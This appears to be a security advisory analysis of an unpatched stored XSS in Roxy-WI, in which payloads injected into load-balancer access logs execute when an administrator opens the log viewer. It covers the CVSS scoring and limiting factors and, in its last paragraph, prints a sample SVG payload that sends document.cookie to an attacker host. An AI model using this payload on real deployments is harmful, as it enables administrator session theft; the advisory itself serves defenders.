Roxy-WI EUVD-2026-36041

The injection phase requires no authentication and no special conditions - any network client that can send an HTTP request to the public load balancer (HAProxy or Nginx) managed by Roxy-WI can write a payload into the access log; CVSS PR:N confirms no privileges are needed for this step. The execution phase requires that a Roxy-WI administrator with access to the log viewer opens the affected log view in their browser (CVSS UI:R); exploitation cannot occur without this administrator action. Key limiting factors: (1) the Roxy-WI log viewer must be in use - environments that never open the log viewer feature are not at risk of XSS execution even if logs are poisoned; (2) the administrator's browser session must be active against the Roxy-WI instance when they view the poisoned log; (3) any HTTP reverse proxy or WAF sitting in front of the load balancer that strips or encodes special characters in request headers/URIs would impede but not reliably prevent log injection. The attack is not limited to specific HAProxy or Nginx configurations - any deployment where Roxy-WI renders access logs is vulnerable.

The CVSS 3.1 score of 6.1 (Medium) is derived from AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The network attack vector with no privileges required (PR:N) and low attack complexity (AC:L) mean that any unauthenticated internet user who can reach the load balancer's public interface can inject the initial payload - a very low barrier. The changed scope (S:C) reflects that exploitation crosses a security boundary: the attacker's web request influences the admin's browser session in Roxy-WI. The primary constraint is UI:R: the attack is not self-executing; an administrator must manually open the log viewer. This elevates the attack from trivially dangerous to opportunistically dangerous - in environments where admins routinely check logs (common operational practice), exploitation becomes likely over time. No EPSS score was provided in the input data, so probability quantification is unavailable. The vulnerability is not listed in CISA KEV and no POC code has been identified, suggesting no confirmed active exploitation at time of analysis. Despite the moderate CVSS score, the real-world risk is elevated for any internet-exposed deployment: the injection vector (public-facing LB) is unrestricted, the target (admin session) provides high-value access, and no patch is currently available - leaving defenders with compensating controls only.

An external attacker sends a crafted HTTP GET request to the public-facing HAProxy or Nginx load balancer with an XSS payload embedded in the User-Agent or request URI (e.g., GET /<svg/onload=fetch('https://attacker.com/?c='+document.cookie)> HTTP/1.1), which is recorded verbatim in the server's access log. When a Roxy-WI administrator later opens the log viewer in their browser, the backend's wrap_line or highlight_word function embeds the unescaped log entry as raw HTML, and jQuery's .html() renders and executes the SVG payload in the admin's browser session - enabling session token theft, credential harvesting, or further actions within the Roxy-WI management interface. No public POC has been identified at time of analysis, but the attack technique is well-understood and straightforward to reproduce from the advisory description alone.